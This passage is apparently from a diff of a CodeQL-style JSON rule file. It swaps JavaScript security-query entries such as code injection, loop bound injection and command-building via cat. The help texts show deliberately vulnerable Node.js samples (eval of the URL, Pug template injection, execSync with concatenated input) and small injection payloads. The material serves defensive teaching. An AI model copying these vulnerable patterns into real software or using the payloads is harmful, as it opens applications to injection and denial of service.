escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello `+ input\n    var fn = pug.compile(template);\n    var html = fn();\n    res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n    var input = req.query.username;\n    var template = `\ndoctype\nhtml\nhead\n    title= 'Hello world'\nbody\n    form(action='/' method='post')\n        input#name.form-control(type='text)\n        button.btn.btn-primary(type='submit') Submit\n    p Hello #{username}`\n    var fn = pug.compile(template);\n    var html = fn({username: input});\n    res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-116", "external/cwe/cwe-020" ],
-            "description" : "When escaping special characters using a meta-character like backslash or\n              ampersand, the meta-character has to be escaped first to avoid double-escaping,\n              and conversely it has to be unescaped last to avoid double-unescaping.",
-            "id" : "js/double-escaping",
-            "kind" : "problem",
-            "name" : "Double escaping or unescaping",
+            "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-095", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Interpreting unsanitized user input as code allows a malicious user arbitrary\n              code execution.",
+            "id" : "js/code-injection",
+            "kind" : "path-problem",
+            "name" : "Code injection",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "problem.severity" : "error",
+            "security-severity" : "9.3"
           }
         }, {
-          "id" : "js/incomplete-html-attribute-sanitization",
-          "name" : "js/incomplete-html-attribute-sanitization",
+          "id" : "js/loop-bound-injection",
+          "name" : "js/loop-bound-injection",
           "shortDescription" : {
-            "text" : "Incomplete HTML attribute sanitization"
+            "text" : "Loop bound injection"
           },
           "fullDescription" : {
-            "text" : "Writing incompletely sanitized values to HTML attribute strings can lead to a cross-site scripting vulnerability."
+            "text" : "Iterating over an object with a user-controlled .length property can cause indefinite looping."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n",
+            "markdown" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-020" ],
-            "description" : "Writing incompletely sanitized values to HTML\n              attribute strings can lead to a cross-site\n              scripting vulnerability.",
-            "id" : "js/incomplete-html-attribute-sanitization",
+            "tags" : [ "security", "external/cwe/cwe-834", "external/cwe/cwe-730" ],
+            "description" : "Iterating over an object with a user-controlled .length\n              property can cause indefinite looping.",
+            "id" : "js/loop-bound-injection",
             "kind" : "path-problem",
-            "name" : "Incomplete HTML attribute sanitization",
+            "name" : "Loop bound injection",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.1"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/sensitive-get-query",
-          "name" : "js/sensitive-get-query",
+          "id" : "js/unnecessary-use-of-cat",
+          "name" : "js/unnecessary-use-of-cat",
           "shortDescription" : {
-            "text" : "Sensitive data read from GET request"
+            "text" : "Unnecessary use of `cat` process"
           },
           "fullDescription" : {
-            "text" : "Placing sensitive data in a GET request increases the risk of the data being exposed to an attacker."
+            "text" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n",
-            "markdown" : "# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n"
+            "text" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n",
+            "markdown" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-598" ],
-            "description" : "Placing sensitive data in a GET request increases the risk of\n              the data being exposed to an attacker.",
-            "id" : "js/sensitive-get-query",
+            "tags" : [ "correctness", "security", "maintainability", "external/cwe/cwe-078" ],
+            "description" : "Using the  `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities.",
+            "id" : "js/unnecessary-use-of-cat",
             "kind" : "problem",
-            "name" : "Sensitive data read from GET request",
+            "name" : "Unnecessary use of `cat` process",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "6.5"
+            "problem.severity" : "error",
+            "security-severity" : "6.3"
           }
         }, {
-          "id" : "js/client-exposed-cookie",
-          "name" : "js/client-exposed-cookie",
+          "id" : "js/shell-command-injection-from-environment",
+          "name" : "js/shell-command-injection-from-environment",
           "shortDescription" : {
-            "text" : "Sensitive server cookie exposed to the client"
+            "text" : "Shell command built from environment values"
           },
           "fullDescription" : {
-            "text" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set."
+            "text" : "Building a shell command string with values from the enclosing environment may cause subtle bugs or vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n",
-            "markdown" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n"
